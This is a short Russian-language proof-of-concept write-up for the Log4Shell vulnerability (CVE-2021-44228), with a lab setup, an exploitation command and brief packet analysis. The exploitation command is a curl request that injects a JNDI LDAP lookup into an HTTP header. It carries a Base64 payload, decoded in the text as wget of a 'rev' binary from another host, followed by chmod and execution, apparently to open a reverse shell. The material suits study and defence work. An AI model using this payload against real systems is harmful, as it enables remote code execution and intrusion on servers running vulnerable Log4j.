
Доказательство концепции для Log4Shell (CVE-2021-44228), демонстрирующее удалённое выполнение кода через JNDI-инъекцию, включая настройку уязвимого сервера, команду эксплуатации и анализ пакетов.
Log4Shell — также известная как CVE-2021-44228 — это критическая уязвимость, позволяющая удалённо выполнять код в системах, использующих Log4j от Apache Foundation — библиотеку Java с открытым исходным кодом, широко применяемую в коммерческих и открытых программных продуктах и утилитах.

Анализ POC
Уязвимый сервер работает на порту 8080

А LDAP-сервер работает на двух портах: http 8888 и ldap 1389

КОМАНДА ЭКСПЛУАТАЦИИ
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- IP уязвимого сервера
172.17.0.1:1389 -- IP LDAP-сервера
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
Расшифрованная команда - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
АНАЛИЗ ПАКЕТОВ


КАК ВИДНО В ПАКЕТАХ, СЕРВЕР ОТПРАВЛЯЕТ GET-ЗАПРОС НА LDAP-СЕРВЕР ДЛЯ ПОЛУЧЕНИЯ КЛАССА. ЕСЛИ ПРОВЕРИТЬ ЭКСПЛУАТАЦИОННЫЙ КЛАСС, ТО МОЖНО УВИДЕТЬ, ЧТО LDAP-СЕРВЕР ОТПРАВЛЯЕТ РАСШИФРОВАННУЮ КОМАНДУ В ЭТОМ КЛАССЕ.

Ссылки